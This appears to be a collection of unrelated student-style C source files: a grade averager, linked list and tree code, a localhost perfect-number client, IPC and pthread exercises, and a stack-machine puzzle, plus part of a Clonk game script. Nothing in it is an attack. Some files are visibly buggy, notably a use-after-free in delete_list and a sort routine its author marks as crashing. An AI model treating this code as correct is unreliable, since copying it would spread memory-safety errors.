Instruction: A class of ten students took a quiz. The grade (integers in the range 0 to 100)for
this quiz are available to you. Determine the class averae on the quiz.
*/
#include <stdio.h>
#include <stdlib.h>
typedef struct student
{
int grade;
struct student *next;
}student_t;
void add_student(student_t * head, int grade);
int main()
{
student_t *head = (student_t*)malloc(sizeof(student_t));
int average = 0;
int numberOfStudents = 0;
printf("Welcome to the student grade counter!\n\n");
printf("How many students are in your class: ");
scanf("%d",&numberOfStudents);
for(int i = 0, grade = 0; i < numberOfStudents; i++)
{
printf("Please enter the grade for student #%d:\t",i+1);
scanf("%d", &grade);
if(grade < 0 || grade > 100)
{
printf("Grades can only be between 0 and 100\n");
i--;
continue;
}
average += grade;
add_student(head,grade);
printf("Current Average: %.3f\n\n", ((float)average / (i + 1)));
}
printf("\nThe Class Average is: %.3f\n", (float)average / numberOfStudents);
return 0;
}
void add_student(student_t *head, int grade)
{
student_t *current = head;
while(current->next != NULL)
{
current = current->next;
}
current->next = (student_t*)malloc(sizeof(student_t));
current->grade = grade;
}
|
C
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "node.h"
#include "linked_list.h"
#define TRUE 1
#define FALSE 0
linked_list*
create_linked_list ()
{
linked_list * list = malloc (sizeof (linked_list));
memset (list, 0, sizeof (linked_list));
return list;
}
linked_list*
add_on_head (linked_list *list)
{
node * n = create_node ();
if (TRUE == is_empty (list->head))
{
list->head = list->tail = n;
}
else
{
node * current = list->head;
list->head = n;
list->head->next = current;
current->previous = list->head;
}
list->size++;
return list;
}
//linked_list*
//input_data (linked_list * list, int position, int value)
//{
// list->size = size_of_list (list);
// if (position > list->size || position < 1)
// {
// printf ("void input position\n");
// return list;
// }
// linked_list *temp = list;
// for (int i = 1; i < list->size; i++)
// {
// list->head = list->head->next;
// }
// list->head->data = value;
// return temp;
//}
linked_list*
input_data (linked_list * list, int position, int value)
{
if (position > list->size || position < 1)
{
printf ("void input position\n");
return list;
}
node *temp = list->head;
int counter = 1;
while (position > counter)
{
temp = temp->next;
counter++;
}
temp->data = value;
return list;
}
//linked_list*
//size_of_list (linked_list *list)
//{
// linked_list *temp = list;
// int counter = 0;
// while (FALSE == is_empty (list->head))
// {
// counter++;
// list->head = list->head->next;
// }
// list->size = counter;
// return temp;
//}
linked_list*
add_on_tail (linked_list *list)
{
node * n = create_node ();
if (TRUE == is_empty (list->tail))
{
list->head = n;
list->tail = n;
list->size++;
return list;
}
node* temp = list->head;
node * last = temp;
while (1)
{
while (TRUE == is_empty (temp))
{
last->next = n;
list->tail = n;
list->size++;
return list;
}
last = temp;
temp = temp->next;
}
// node*current = list->tail;
// list->tail = n;
// list->tail->previous = current;
// current->next = list->tail;
return list;
}
void
delete_list (linked_list *list)
{
if (TRUE == is_empty (list->head))
{
free (list);
list->size--;
}
while (FALSE == is_empty (list->head))
{
node*temp = list->head;
list->head = list->head->next;
delete_node (temp);
}
free (list);
list->size--;
}
//linked_list*
//updata (linked_list *list, int position, int value)
//{
// if (list->size < position || position < 1)
// return list;
// node*current = list->head;
// for (int i = 1; i <= position; i++)
// current = current->next;
// current->data = value;
// return list;
//}
linked_list*
sort_list (linked_list *list)
{
node * value1 = list->head;
node * value2 = list->head->next;
while (NULL != value2)
{
if (value1->data > value2->data)
{
// node * temp_;
// temp = value2;
// value2->previous = value1->previous;
// value2->next = value1;
// value1->next = temp->next;
// value1->previous = value2;
// node * temp_previous = value2->previous;
// node * temp_next = value2->next;
// value2->next = value1->next;
// value2->previous = value1->previous;
// value1->next = temp_next;
// value2->previous = temp_previous;
// list->head = value2;
value2->previous->next = value2->next;//segemetation fault
value1->previous = value2;
value2->next = value1;
list->head = value2;
value1 = list->head;
value2 = list->head->next;
display_list (list);
printf ("!!!!\n");
}
value2 = value2->next;
}
value2 = list->head->next;
//still not work
for (int i = 1; i <= list->size - 1; i++)
{
for (int j = 1; j <= list->size - 1 - i; j++)
{
if (value1->data > value2->data)
{
// node*temp;
// temp = value2;
// value2->previous = value1->previous;
// value2->next = value1;
// value1->next = temp->next;
// value1->previous = value2;
node *temp_previous = value2->previous;
node *temp_next = value2->next;
value2->next = value1->next;
value2->previous = value1->previous;
value1->next = temp_next;
value2->previous = temp_previous;
}
value2 = value2->next;
}
value1 = value1->next;
}
return list;
}
void
display_list (linked_list * list)
{
node * temp = list->head;
while (NULL != temp)
{
display_node (temp);
temp = temp->next;
}
}
linked_list*
delete_one_node (linked_list * list, int position)
{
if (position > list->size)
{
printf ("void delete position\n");
return list;
}
node * temp = list->head;
node * last = temp;
if (1 == position)
{
list->head = temp->next;
free (temp);
list->head->previous = NULL;
list->size--;
return list;
}
while (NULL != temp)
{
for (int i = 1; i < position; i++)
{
last = temp;
temp = temp->next;
}
last->next = temp->next;
free (temp);
list->size--;
return list;
}
temp = list->tail;
list->tail = temp->previous;
list->tail->next = NULL;
free (temp);
list->size--;
return list;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <time.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <pthread.h>
#define IP_SERVER "127.0.0.1"
#define PORT 12345
#define DELIM_STR '\n'
#define PRINTFF printf
static inline uint64_t rdtsc() {
uint32_t lo, hi;
__asm__ __volatile__ ("xorl %%eax, %%eax\n cpuid\n rdtsc\n"
: "=a" (lo), "=d" (hi)
:
: "%ebx", "%ecx");
return(uint64_t)hi << 32 | lo;
}
static int check_perfect_number(int num) {
int count, sum = 0;
for(count = 1; count < num; count++)
{
if(num % count == 0)
{
sum = sum + count;
}
}
if(sum == num)
return 0;
return -1;
}
#define clocks rdtsc
#define ITERS 10000
static double cal_iter_time(void) {
unsigned long ticks = 0;
struct timespec ts1 = {
.tv_sec = 0,
.tv_nsec = 10000000
};
//start timing!
time_t start, total;
start = clocks();
//get ticks
nanosleep(&ts1, NULL);
ticks = (clocks() - start)*100;
PRINTFF("ticks: %ld\n", ticks);
start = clocks();
//double var;
for (volatile int i = 1; i <= ITERS; ++i){
//var = 1.1;
check_perfect_number(i);
}
//get time for timed operation AND looping
total = clocks() - start;
// start = clocks();
// for (volatile int i = 0; i < ITERS; ++i){
// //don't actually do anything here, this measures loop overhead
// }
// //subtract off loop overhead!
// total -= (clocks() - start);
return (double)ITERS/total*ticks*ITERS;
}
static void *sock_monitor(void *data)
{
int sockfd = *(int*)data;
char buf[15];
memset(buf, 0, sizeof(buf));
PRINTFF("thread wait\n");
while (1)
{
read(sockfd, buf, sizeof(buf));
if (memcmp(buf, "shutdown", 8) == 0)
{
// send kill signal
pid_t pid = getpid();
kill(pid, SIGINT);
}
}
PRINTFF("ext thread\n");
pthread_exit(NULL);
}
int main(void)
{
int sockfd;
struct sockaddr_in servaddr;
// socket create and varification
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed...\n");
exit(0);
}
else
printf("Socket successfully created...\n");
memset(&servaddr, 0, sizeof(servaddr));
// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(IP_SERVER);
servaddr.sin_port = htons(PORT);
// connect the client socket to server socket
if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0) {
printf("connection with the server failed...\n");
exit(0);
}
else
printf("connected to the server...\n");
// processing here
double FLOPS = cal_iter_time();
char buf[30];
memset(buf, 0, sizeof(buf));
sprintf(buf, "compute%ld", (long)FLOPS);
write(sockfd, buf, strlen(buf));
char *eptr;
memset(buf, 0, sizeof(buf));
read(sockfd, buf, sizeof(buf));
long start_index = 0;
for (long unsigned int i = 0; i < strlen(buf); i++)
{
if (buf[i] == '.')
{
start_index = i;
break;
}
}
char temp_buf[11];
memset(temp_buf, 0, sizeof(temp_buf));
memcpy(temp_buf, &buf[7], start_index - 7);
long start_num = strtol(temp_buf, &eptr, 10);
long end_num = strtol(&buf[start_index+1], &eptr, 10);
PRINTFF("recv startnum|endnum: %ld|%ld\n", start_num, end_num);
//register signal
signal(SIGINT, SIG_DFL);
//spawn thread to monitor shutdown message
pthread_attr_t attr;
pthread_t p_thread_id;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
pthread_create(&p_thread_id, &attr, sock_monitor, (void*)&sockfd);
//take about 15s to handle
time_t start_time;
start_time = clocks();
for (long i = start_num; i < end_num; i++)
{
if (check_perfect_number(i) == 0)
{
//yeah, perfect num
memset(buf, 0, sizeof(buf));
sprintf(buf, ",%ld.", i);
write(sockfd, buf, strlen(buf));
}
}
PRINTFF("take time: %ld\n", (clocks() - start_time)/1800000000);
write(sockfd, "end", 3);
struct timespec ts1 = {
.tv_sec = 0,
.tv_nsec = 10000
};
nanosleep(&ts1, NULL);
// close the socket
close(sockfd);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "Compounds.h"
#include "InputOutput.h"
#include "Operations.h"
/*
* Função que recebe um ponto (dois números)
*/
Ponto recebePonto(){
Ponto ponto;
scanf("%lf",&ponto.x);
scanf("%lf",&ponto.y);
return ponto;
}
/*
* Função que recebe os pontos de um quadrilátero (quatro pontos, quatro retas, oito números)
*/
Quadrilatero recebeTodosPontos(){
Quadrilatero quadrilatero;
int contador = 0;
for(contador = 0; contador<4; contador++){
quadrilatero.ponto[contador] = recebePonto();
}
return quadrilatero;
}
/*
* Função que imprime o tipo do quadrilatero
*/
void imprimeTipo(int tipo, Quadrilatero quadrilatero){
if(tipo == 0){
double area = 0.0;
printf("Quadrilatero convexo.\n");
area = calculaArea(quadrilatero);
imprimeArea(area);
}else{
printf("Quadrilatero nao convexo.\n");
}
}
/*
* Função que imprime a area do quadrilátero
*/
void imprimeArea(double area){
printf("Area: %.2lf.\n",area);
}
|
C
|
/*
Author:Kalpana Baigar
Program to print following Pattern
1
2 1
3 2 1
4 3 2 1
5 4 3 2 1
*/
#include<stdio.h>
void display(int num)
{
int i,j;
for(i=1;i<=num;i++)
{
for(j=i;j>=1;j--)
{
printf("%d ",j);
}
printf("\n");
}
}
int main()
{
int no;
printf("enter number");
scanf("%d",&no);
display(no);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <unistd.h>
#include <time.h>
#include "ipc_hash.h"
#define PAUSE printf("Press Enter key to continue..."); fgetc(stdin)
static int __read_specific_node(int id, node_in_shm_t *first_shm_node_ptr, hlist_t *hlist)
{
int i, query_node_exist = 0;
node_in_shm_t *temp_node;
// know what list should be lookup
int id_hash_value = id % HASH_LIST_SIZE;
// know how many nodes in the list
int node_in_list = hlist->hash_array[id_hash_value][0];
// search from the first node in the list
temp_node = first_shm_node_ptr + hlist->hash_array[id_hash_value][1];
for (i=0; i<node_in_list; i++) {
if (temp_node->id == id) {
query_node_exist = 1;
printf("Node is in %d-th list with ID: %d DATA: %d \n",
id_hash_value, temp_node->id, temp_node->data);
}
temp_node = first_shm_node_ptr + temp_node->next_index;
}
// return 0: successful query
if (query_node_exist) {
return 0;
} else {
return 1;
}
}
int main(void)
{
// for random
srand(time(NULL));
// pid_t is int use to get pid to be the message type in queue
pid_t process_id;
int server_is_alive, times_to_run, insert_in_shm = 0;
int node_shm_id, hlist_shm_id, server_live_shm_id, msg_queue_id,
shm_sem_id, msg_inqueue_sem_id;
// three pointer point to SHM data address
node_in_shm_t *first_shm_node_ptr;
hlist_t *hlist_shm_ptr;
short *server_live_byte_ptr;
// message buffer for inqueue (msgsnd)
msg_from_server_t server_msg_buf;
// message buffer for dequeue (msgrcv)
msg_from_client_t client_msg_buf;
// IPC elements initialization
// Semaphore
// shm_read_sem is a read/write lock for SHM implemented by counting semaaphore
// msg_inqueue_sem is for the clients limitation purpose implemented by counting semaphore
shm_sem_id = semget((ipc_keys_e)SHM_SEM_KEY, 1, IPC_CREAT | 0666);
msg_inqueue_sem_id = semget((ipc_keys_e)MSG_INQUEUE_SEM_KEY, 1, IPC_CREAT | 0666);
// SHM
node_shm_id = shmget((ipc_keys_e)HASH_SHM_KEY,
HASH_NODE_COUNT_IN_SHM*sizeof(node_in_shm_t), IPC_CREAT | 0666);
first_shm_node_ptr = (node_in_shm_t *) shmat(node_shm_id, NULL, 0);
hlist_shm_id = shmget((ipc_keys_e)HASH_INDEX_SHM_KEY,
sizeof(hlist_t), IPC_CREAT | 0666);
hlist_shm_ptr = (hlist_t *)shmat(hlist_shm_id, NULL, 0);
server_live_shm_id = shmget((ipc_keys_e)SERVER_LIVE_SHM_KEY,
SERVER_ALIVE_SHM_BYTE, IPC_CREAT | 0666);
server_live_byte_ptr = (short *) shmat(server_live_shm_id, NULL, 0);
// Message Queue
msg_queue_id = msgget((ipc_keys_e)MSG_QUEUE_KEY, IPC_CREAT | 0666);
// Semaphore buffer initialization for semop()
struct sembuf get_sem_buf, release_sem_buf;
get_sem_buf.sem_num = 0;
get_sem_buf.sem_op = -1; // sem_value += sem_op
get_sem_buf.sem_flg = SEM_UNDO; // SEM_UNDO release while process break down
release_sem_buf.sem_num = 0;
release_sem_buf.sem_op = 1; // sem_value += sem_op
release_sem_buf.sem_flg = SEM_UNDO;
// get the process id to saperate the message in queue
process_id = getpid();
times_to_run = TEST_TIME_OF_EACH_PROCESS;
while (times_to_run) {
times_to_run--;
// get the shm_sem to know server is alive or not
server_is_alive = 0;
semop(shm_sem_id, &(get_sem_buf), 1);
// critical section
if (*server_live_byte_ptr) {
server_is_alive = 1;
} else {
printf("Server is down !!\n");
break;
}
// release shm_sem
semop(shm_sem_id, &(release_sem_buf), 1);
// client will do the process if server is alive
if (server_is_alive) {
// encapsulate the message
// set the type = 1 to send to server and process_id is the type this client receive
client_msg_buf.operation = rand() % 3; // 3 type operations
client_msg_buf.type = 1;
client_msg_buf.process_id = (long) process_id;
client_msg_buf.id = rand() % (HASH_NODE_COUNT_IN_SHM + 1);
client_msg_buf.data = rand();
// switch case to send message to server or even read the shm to query
switch (client_msg_buf.operation) {
case ADD:
// get message sem
semop(msg_inqueue_sem_id, &(get_sem_buf), 1);
// send message to queue and wait for feedback
msgsnd(msg_queue_id, &(client_msg_buf), sizeof(msg_from_client_t), 0);
msgrcv(msg_queue_id, &(server_msg_buf), sizeof(msg_from_server_t),
process_id, 0);
// release message sem
semop(msg_inqueue_sem_id, &(release_sem_buf), 1);
if (server_msg_buf.operation_result) {
printf("ADD operation successful!\n");
insert_in_shm++;
} else {
printf("ADD operation failed!\n");
}
break;
case DEL:
// get message sem
semop(msg_inqueue_sem_id, &(get_sem_buf), 1);
// send message to queue and wait for feedback
msgsnd(msg_queue_id, &(client_msg_buf), sizeof(msg_from_client_t), 0);
msgrcv(msg_queue_id, &(server_msg_buf), sizeof(msg_from_server_t),
process_id, 0);
// release message sem
semop(msg_inqueue_sem_id, &(release_sem_buf), 1);
if (server_msg_buf.operation_result) {
printf("DEL operation successful!\n");
insert_in_shm--;
} else {
printf("DEL operation failed!\n");
}
break;
case QUE_ONE:
// query specific one node is a special case
// and needs get shm semaphore to read
semop(shm_sem_id, &(get_sem_buf), 1);
// critical section to read specific node
if (__read_specific_node(client_msg_buf.id, first_shm_node_ptr, hlist_shm_ptr)) {
// function return none zero means error
printf("Query failed!\n");
}
// release shm semaphore
semop(shm_sem_id, &(release_sem_buf), 1);
break;
}
}
}
printf("%d node in SHM counting by this process\n", insert_in_shm);
// detach SHM
shmdt((char *)first_shm_node_ptr);
shmdt((char *)hlist_shm_ptr);
shmdt((char *)server_live_byte_ptr);
return 0;
}
|
C
|
#include "tree.h"
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#define MAX_HEIGHT 50
node *create_node(int data) {
node *n = (node *)malloc(sizeof(node));
assert(n != NULL);
n->data = data;
n->left = NULL;
n->right = NULL;
return n;
}
void display_prefix(node *t)
{
if ( t == NULL ) return;
printf("%d ", t->data );
display_prefix(t->left);
display_prefix(t->right);
}
void display_infix(node *t)
{
if ( t == NULL ) return;
display_infix(t->left);
printf("%d ", t->data );
display_infix(t->right);
}
void display_suffix(node *t)
{
if ( t == NULL ) return;
display_suffix(t->left);
display_suffix(t->right);
printf("%d ", t->data );
}
node *scan_tree(void)
{
int x;
node* buff;
scanf("%d", &x);
if ( x == 0 ) return NULL;
buff = create_node(x);
buff->left = scan_tree();
buff->right = scan_tree();
return buff;
}
void free_tree(node *t)
{
if ( t == NULL ) return;
free_tree(t->left);
free_tree(t->right);
free(t);
}
void display_path(int buffer[], int index)
{
int i;
for ( i = 0 ; i <= index ; i++ )
{
printf("%d ", buffer[i]);
}
putchar('\n');
}
void display_paths_aux(node *t, int buffer[], int index)
{
if ( t == NULL ) return;
buffer[index] = t->data;
if ( (t->left == NULL && t->right == NULL) || index >= MAX_HEIGHT )
{
display_path(buffer, index);
}
if ( index < MAX_HEIGHT)
{
display_paths_aux(t->left, buffer, index+1);
display_paths_aux(t->right, buffer, index+1);
}
}
void display_paths(node *t)
{
int* buffer = malloc(MAX_HEIGHT*sizeof(int));
if ( buffer == NULL )
{
perror("erreur malloc");
return;
}
display_paths_aux(t, buffer, 0);
free(buffer);
}
|
C
|
#include <stdio.h>
int main()
{
float x;
printf("informe o valor em metros para que ele seja convertido em centimetros");
scanf("%f", &x);
printf("O valor convertido igual a %f", x * 100);
return 0;
}
|
C
|
#include "pthread_shop.h"
shop shops[SHOPS_COUNT];
client clients[CLIENTS_COUNT];
deliver delivers[DELIVERS_COUNT];
pthread_mutex_t mutexes[SHOPS_COUNT];
int shop_initialization(shop* shops, client* clients, deliver* delivers) {
srandom((unsigned int)time(NULL));
int i;
for(i = 0; i < SHOPS_COUNT; i++) {
shops[i].goodies = 450 + random()%101;
printf("Shop %d was opened with %d goodies\n", i, shops[i].goodies);
}
printf("\n");
for(i = 0; i < CLIENTS_COUNT; i++) {
clients[i].how_many_goodies_are_wanted = 9800 + random()%401;
printf("Client %d needs %d goodies\n", i, clients[i].how_many_goodies_are_wanted);
}
printf("\n");
for(i = 0; i < DELIVERS_COUNT; i++) {
delivers[i].how_many_goodies_were_added = 0;
printf("Deliver %d added %d goodies to the shops now\n", i, delivers[i].how_many_goodies_were_added);
}
printf("\n");
return 0;
}
int mutexes_initialization() {
int i;
for(i = 0; i < SHOPS_COUNT; i++) {
/* NULL as attr means this is default - fastmutex */
pthread_mutex_init(&mutexes[i], NULL);
}
return 0;
}
int mutexes_finalization() {
int i;
for(i = 0; i < SHOPS_COUNT; i++) {
/* It does nothing in linux but checking if mutex is locked */
if(0 != pthread_mutex_destroy(&mutexes[i])) {
perror("pthread_mutex_destroy failed\n");
exit(EXIT_FAILURE);
}
}
return 0;
}
void* thread_client(void* pdata) {
int self_id = *(int*)pdata;
printf("I'm client %d and I was created at %ld\n\n", self_id, time(NULL));
int i;
int how_many_was_taken = 0;
while(1) {
for(i = 0; i < SHOPS_COUNT; i++) {
/* Try to come into shop with index i */
printf("Client %d trying to come in the shop %d\n", self_id, i);
/* Zero if it is opened */
if(0 == pthread_mutex_trylock(&mutexes[i])) {
printf("Client %d came in the shop %d\n", self_id, i);
printf("Client %d needs %d goodies\n", self_id, clients[self_id].how_many_goodies_are_wanted);
printf("In the shop %d are %d goodies\n", i, shops[i].goodies);
{/* Begin the critical section */
if(shops[i].goodies > 0) {
/* Order to decrease goodies in the current shop */
if(clients[self_id].how_many_goodies_are_wanted >= shops[i].goodies) {
clients[self_id].how_many_goodies_are_wanted -= shops[i].goodies;
how_many_was_taken = shops[i].goodies;
shops[i].goodies = 0;
} else {
shops[i].goodies -= clients[self_id].how_many_goodies_are_wanted;
how_many_was_taken = clients[self_id].how_many_goodies_are_wanted;
clients[self_id].how_many_goodies_are_wanted = 0;
printf("Client %d got %d goodies from the shop %d\n",\
self_id, how_many_was_taken, i);
printf("%d goodies still are in the shop %d\n",\
shops[i].goodies, i);
printf("Client %d finished shopping\n\n",\
self_id);
/* Now this client has all what they wanted */
/* And this client thread has done all its job */
/* Now just go away from this shop, and stop thread */
pthread_mutex_unlock(&mutexes[i]);
pthread_exit(0);
}
printf("Client %d got %d goodies from the shop %d\n",\
self_id, how_many_was_taken, i);
printf("%d goodies still are in the shop %d\n",\
shops[i].goodies, i);
} else {/* If no goodies in the shop now */
printf("Client %d has to go to the next shop\n", self_id);
}
}/* End the critical section */
pthread_mutex_unlock(&mutexes[i]);
printf("Client %d will sleep for %d seconds\n\n", self_id, CLIENT_DREAM);
sleep(CLIENT_DREAM);
printf("Client %d was awakened\n", self_id);
/* Non zero if it is busy */
} else {
/* therefore just go to the next shop */
printf("Client %d didn't come in the shop %d\n", self_id, i);
printf("So, client %d has to go to the next shop...\n\n", self_id);
continue;
}
}
}
return (void*)0;
}
void* thread_deliver(void* pdata) {
int self_id = *(int*)pdata;
int i;
int old_cancel_state;
printf("I'm deliver %d and I was created at %ld\n", self_id, time(NULL));
printf("I have goodies for the shops also\n\n");
while(1) {
for(i = 0; i < SHOPS_COUNT; i++) {
/* Need to be uncancelable for safety using of mutex */
if(0 != pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_cancel_state)) {
perror("deliver's pthread_setcancelstate was failed\n");
exit(EXIT_FAILURE);
}
/* Try to come into shop with index i */
printf("Deliver %d trying to come in the shop %d\n", self_id, i);
/* Zero if it is opened */
if(0 == pthread_mutex_trylock(&mutexes[i])) {
printf("Deliver %d came in the shop %d\n", self_id, i);
{/* Begin the critical section */
/* Order to increase value of a goodies in the current shop */
shops[i].goodies += DELIVER_GIFT;
delivers[self_id].how_many_goodies_were_added += DELIVER_GIFT;
printf("Deliver %d gave %d goodies for the shop %d\n",\
self_id, DELIVER_GIFT, i);
printf("%d goodies are in the shop %d now\n",\
shops[i].goodies, i);
}/* End the critical section */
pthread_mutex_unlock(&mutexes[i]);
/* Now can be cancelable */
if(0 != pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &old_cancel_state)) {
perror("deliver's pthread_setcancelstate was failed\n");
exit(EXIT_FAILURE);
}
printf("Deliver %d will sleep for %d seconds\n\n",\
self_id, DELIVER_DREAM);
sleep(DELIVER_DREAM);
printf("Deliver %d was awakened\n",\
self_id);
/* Non zero if it is busy */
} else {
/* therefore just go to the next shop */
printf("Deliver %d didn't come in the shop %d\n", self_id, i);
printf("So, deliver %d has to go to the next shop...\n\n", self_id);
continue;
}
}
}
return (void*)0;
}
|
C
|
#include <stdio.h>
int IsPrime(int n){
int i;
if(n < 2)
return 0;
else if(n == 2)
return 1;
if(n % 2 == 0)
return 0;
for(i = 3; i * i <= n; i += 2){
if(n % i == 0){
return 0;
}
}
return 1;
}
int main(void)
{
int i = 0,
j = 0;
char array[10002] = {0};
/*printf("%d", IsPrime(3));*/
for (i = 2, j = 0; j < 10002; i++) {
if (IsPrime(i) == 1){
printf("%d\n", i);
array[j] = i;
j++;
}
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int64_t* stack_ptr;
void push(int64_t a) {
// note that in any real appilcation overflow check is MANDATORY here
*stack_ptr++ = a;
}
int64_t pop() {
// underflow check
return *--stack_ptr;
}
void xor() {
push(pop() ^ pop());
}
void add() {
push(pop() + pop());
}
void dup() {
int64_t a = pop();
push(a); push(a);
}
void sub() {
push(pop() - pop());
}
void swp() {
int64_t x = pop();
int64_t y = pop();
push(x);
push(y);
}
void lab5() {
int64_t var = pop();
int64_t a = 1;
int64_t b = 1;
int64_t c;
while(var--) {
c = a + b;
a = b;
b = c;
}
push(a);
return;
// ================================================
lab5:
if(stack_ptr[-1]) goto lab6;
pop();
push(1);
return;
lab6:
dup();
push(1);
sub();
if(stack_ptr[-1]) goto lab7;
pop();
return;
lab7:
pop();
dup();
push(1);
sub();
push(0);
sub();
dup();
push(1);
sub();
push(0);
sub();
lab5();
swp();
lab5();
add();
swp();
pop();
}
int main() {
stack_ptr = calloc(100000, sizeof(int64_t));
int64_t acc;
/*
for(int64_t i = 0; i < 1000; i++) {
push(i);
lab5();
printf("%lld -> %lld\n", i, pop());
}
return 0;
*/
lab1:
push(0);
push(14472334024676096);
push(8944394323791450);
push(5527939700884769);
push(3416454622906725);
push(2111485077978096);
push(1304969544928756);
push(806515533049347);
push(498454011879172);
push(308061521170150);
push(190392490709200);
push(117669030460982);
push(72723460248127);
push(44945570212756);
push(27777890035307);
push(17167680177653);
push(10610209857675);
push(6557470319826);
push(4052739537835);
push(2504730782038);
push(1548008755937);
push(956722025992);
push(591286729974);
push(365435296253);
push(225851433664);
push(139583862488);
push(86267571223);
push(53316291075);
push(32951280083);
push(20365011165);
push(12586268949);
push(7778742098);
push(4807527027);
push(2971214979);
push(1836311808);
push(1134903217);
push(701408693);
push(433494481);
push(267914343);
push(165580035);
push(102334114);
push(63246016);
push(39088153);
push(24157707);
push(14930304);
push(9227513);
push(5702805);
push(3524541);
push(2178357);
push(1346217);
push(832119);
push(514176);
push(317697);
push(196465);
push(121346);
push(75129);
push(46403);
push(28590);
push(17692);
push(10993);
push(6687);
push(4157);
push(2668);
push(1606);
push(957);
push(534);
push(282);
push(128);
push(176);
push(42);
push(94);
push(2);
push(114);
push(108);
push(100);
push(99);
push(35);
push(103);
push(105);
push(85);
lab2:
push(0);
acc = pop();
lab3:
if(stack_ptr[-1]) goto lab4;
else goto exit;
lab4:
push(acc);
lab5();
xor();
putchar(pop());
fflush(stdout);
push(acc);
push(1);
add();
acc = pop();
goto lab3;
exit:
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_lst.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: cdrouet <cdrouet@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/03/15 13:05:21 by cdrouet #+# #+# */
/* Updated: 2016/03/23 08:45:51 by cdrouet ### ########.fr */
/* */
/* ************************************************************************** */
#include "lemin.h"
int allp_len(t_allp *lst)
{
t_allp *tmp;
int i;
i = 0;
tmp = lst;
while (tmp)
{
i++;
tmp = tmp->next;
}
return (i);
}
int search_index_low_path(t_path **path)
{
int min;
int i;
int index;
i = -1;
min = path_len(path[0]);
index = 0;
while (path[++i] != NULL)
if (min > path_len(path[i]))
{
min = path_len(path[i]);
index = i;
}
return (index);
}
void add_start_lst(t_file **hall, t_file *elem)
{
elem->next = *hall;
*hall = elem;
}
t_salle *find_flag(t_salle *room, char *str)
{
while (room)
{
if (room->flag)
if (!ft_strcmp(room->flag, str))
return (room);
room = room->next;
}
return (NULL);
}
|
C
|
/* Script: DrawResource.c
Draws a resource vein.
The algorithm draws a vein in consecutive triangles, clockwise, around a central point.
This algorithm was originally implemented by <Zapper at http://www.clonkforge.net/user.php?usr=533>. */
#strict 2
/* Function: DrawResource
Draws a resource vein around a central point.
The size parameters determine the side lengths of the drawn triangles.
Parameters:
materialIndex - Material the vein will be made of.
materialTexture - The material's texture.
tunnelBackground - If true, the vein will be drawn as 'underground'.
x - Horizontal coordinate of the centre.
y - Vertical coordinate of the centre.
minSize - [optional] Minimal side length.
maxSize - [optional] Maximal side length.
drawingCycles - [optional] Number of full cycles the vein is drawn. */
global func DrawResource(int materialIndex, string materialTexture, bool tunnelBackground, int x, int y, int minSize, int maxSize, int drawingCycles) {
AddEffect("DrawResource", 0, 1, 1, 0, 0, [materialIndex, materialTexture, tunnelBackground], [x, y], [minSize, maxSize], drawingCycles);
}
/* Indices */
static const DrawResourceMaterialIndex = 0;
static const DrawResourceMaterialTexture = 1;
static const DrawResourceTunnelBackground = 2;
static const DrawResourceCentreX = 3;
static const DrawResourceCentreY = 4;
static const DrawResourceStartEdgeX = 5;
static const DrawResourceStartEdgeY = 6;
static const DrawResourcePreviousEdgeX = 7;
static const DrawResourcePreviousEdgeY = 8;
static const DrawResourceMinSize = 9;
static const DrawResourceMaxSize = 10;
static const DrawResourceSize = 11;
static const DrawResourceDrawingCycles = 12;
/* Standards and constant values */
static const DrawResourceStandardMinSize = 10;
static const DrawResourceStandardMaxSize = 65;
static const DrawResourceSizeChange = 6;
static const DrawResourceAngularRate = 5;
static const DrawResourceStandardDrawingCycles = 2;
global func FxDrawResourceStart(object target, int effectNumber, int temporary, array materialDescription, array position, array sizeDescription, int drawingCycles) {
if(temporary == 0) {
EffectVar(DrawResourceMaterialIndex, target, effectNumber) = materialDescription[0];
EffectVar(DrawResourceMaterialTexture, target, effectNumber) = materialDescription[1];
EffectVar(DrawResourceTunnelBackground, target, effectNumber) = materialDescription[2];
EffectVar(DrawResourceCentreX, target, effectNumber) = position[0];
EffectVar(DrawResourceCentreY, target, effectNumber) = position[1];
EffectVar(DrawResourceMinSize, target, effectNumber) = sizeDescription[0];
if(sizeDescription[0] == 0) {
EffectVar(DrawResourceMinSize, target, effectNumber) = DrawResourceStandardMinSize;
}
EffectVar(DrawResourceMaxSize, target, effectNumber) = sizeDescription[1];
if(sizeDescription[1] == 0) {
EffectVar(DrawResourceMaxSize, target, effectNumber) = DrawResourceStandardMaxSize;
}
// Determine initial size
var sizeRange = EffectVar(DrawResourceMaxSize, target, effectNumber) - EffectVar(DrawResourceMinSize, target, effectNumber);
var minInitialSize = Min(2 * EffectVar(DrawResourceMinSize, target, effectNumber), EffectVar(DrawResourceMaxSize, target, effectNumber));
var maxInitialSize = BoundBy(EffectVar(DrawResourceMinSize, target, effectNumber) + sizeRange / 3, minInitialSize, EffectVar(DrawResourceMaxSize, target, effectNumber));
var size = RandomX(minInitialSize, maxInitialSize);
EffectVar(DrawResourceSize, target, effectNumber) = size;
EffectVar(DrawResourceStartEdgeX, target, effectNumber) = size;
